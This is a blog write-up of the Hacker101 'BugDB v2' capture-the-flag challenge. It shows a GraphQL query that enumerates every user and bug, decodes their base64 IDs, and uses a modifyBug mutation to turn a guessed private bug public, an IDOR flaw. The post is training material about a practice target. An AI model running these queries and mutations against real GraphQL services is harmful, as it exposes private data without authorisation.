Skip to main content

Hacker 101 CTF Walkthrough: BugDB v2

 This is the second CTF on Hacker 101 related to GraphQL. Let's dive into it.

Learning the trend from previous CTF i.e BugDB v1 I didn't dive into the introspection query graph straightaway this time rather I opened the docs of this GraphQL endpoint which showed that this time we have the feature of mutation as well which means that we can post/modify data on the server. Interesting.

 

Alright, Let's follow the trend and read the docs further in Query

 

We can query for user, find user/bug and also all bugs and all users as well. Let's carve a query out of it that queries most of the data if not all out of the endpoint

 

query{
allUsers{
  edges{
    node{
      id
      username
    }
  }
}
 
    allBugs {
    id
    reporter {
      id
      username
    }
    reporterId
    text
    private
  }

I queried for all the users and bugs (NOTE: I could also have used the "user" object to query for querying all the users). It in response gave me this.

{
  "data": {
    "allUsers": {
      "edges": [
        {
          "node": {
            "id": "VXNlcnM6MQ==",
            "username": "admin"
          }
        },
        {
          "node": {
            "id": "VXNlcnM6Mg==",
            "username": "victim"
          }
        }
      ]
    },
    "allBugs": [
      {
        "id": "QnVnczox",
        "reporter": {
          "id": "VXNlcnM6MQ==",
          "username": "admin"
        },
        "reporterId": 1,
        "text": "This is an example bug",
        "private": false
      }
    ]
  }
}

 

I copied the all the IDs mentioned in the response (encoded in Base64) and decoded them using https://www.base64decode.org/ and got the following output:

 

So the users are numbered as User:1, User:2 and bugs as Bug:1 etc but if you noticed one thing that the bug that we received in the response has attribute private set to false meaning that this bug is marked public so there is a chance that there are private bugs available on this endpoint, what if we can disclose them? 

Now lets have a look at the Mutation's documentation to see what can we do in mutation. 

 

Ok so we can modify the a bug using this mutation on this endpoint of GraphQL but how can this be a security vulnerability? Here's the catch, as we can see that there could be private bugs on the server and if we somehow get their ID we can modify their status from private to public, hence disclosing private bugs, lets convert this theory into action.

We have already seen one bug, I gave it a guess shot that there would be one private bug whose ID will be 2 (After all hacking involves a lot of guess work) and tried to modify its status to public using the following mutation:

mutation{
  modifyBug(id:2, private:false) {
    ok
  }
} 
 

This mutation returned the ok parameter which is a proof that a bug having ID:2 has been set from private to public. Lets see all bugs to check if now we can see the hidden bug or not using 

query{
 
    allBugs {
    id
    reporter {
      id
      username
    }
    reporterId
    text
    private
  }
}


This CTF involved IDOR through which we disclosed private bugs. Happy learning

Comments

Popular posts from this blog

Hacker 101 CTF Walkthrough: Petshop Pro

I am back with another walkthrough to one of the  HackerOne 's CTF Petshop Pro . Let's look at the interface of this web page.

Kali Linux 2020.1 tty1 ERROR

I found a horrible error when I installed the latest version of Kali Linux on one of my machines, after installing the OS when I started it, it booted into a black screen which asked for my login credentials without any GUI. It is heartbreaking to see problems right away in a freshly installed operating system but after some Googling, I dug out the solution which I will share with you here.  Steps to solve No GUI tty1 Error in Kali Linux 1. First log in with your user credentials 2. Write command:  cd / 3. Write command: cd etc/ 4. Write command: cd apt/ 5. Write command: cat sources.list After step 5, you will see something like this: As you can see, no repositories are mentioned here so obviously we'll have to add kali official repositories to this file.  6. Write command: sudo nano sources.list 7. Write your password 8. Now add the following repositories at the end of the editable file which is opened on the terminal: deb h...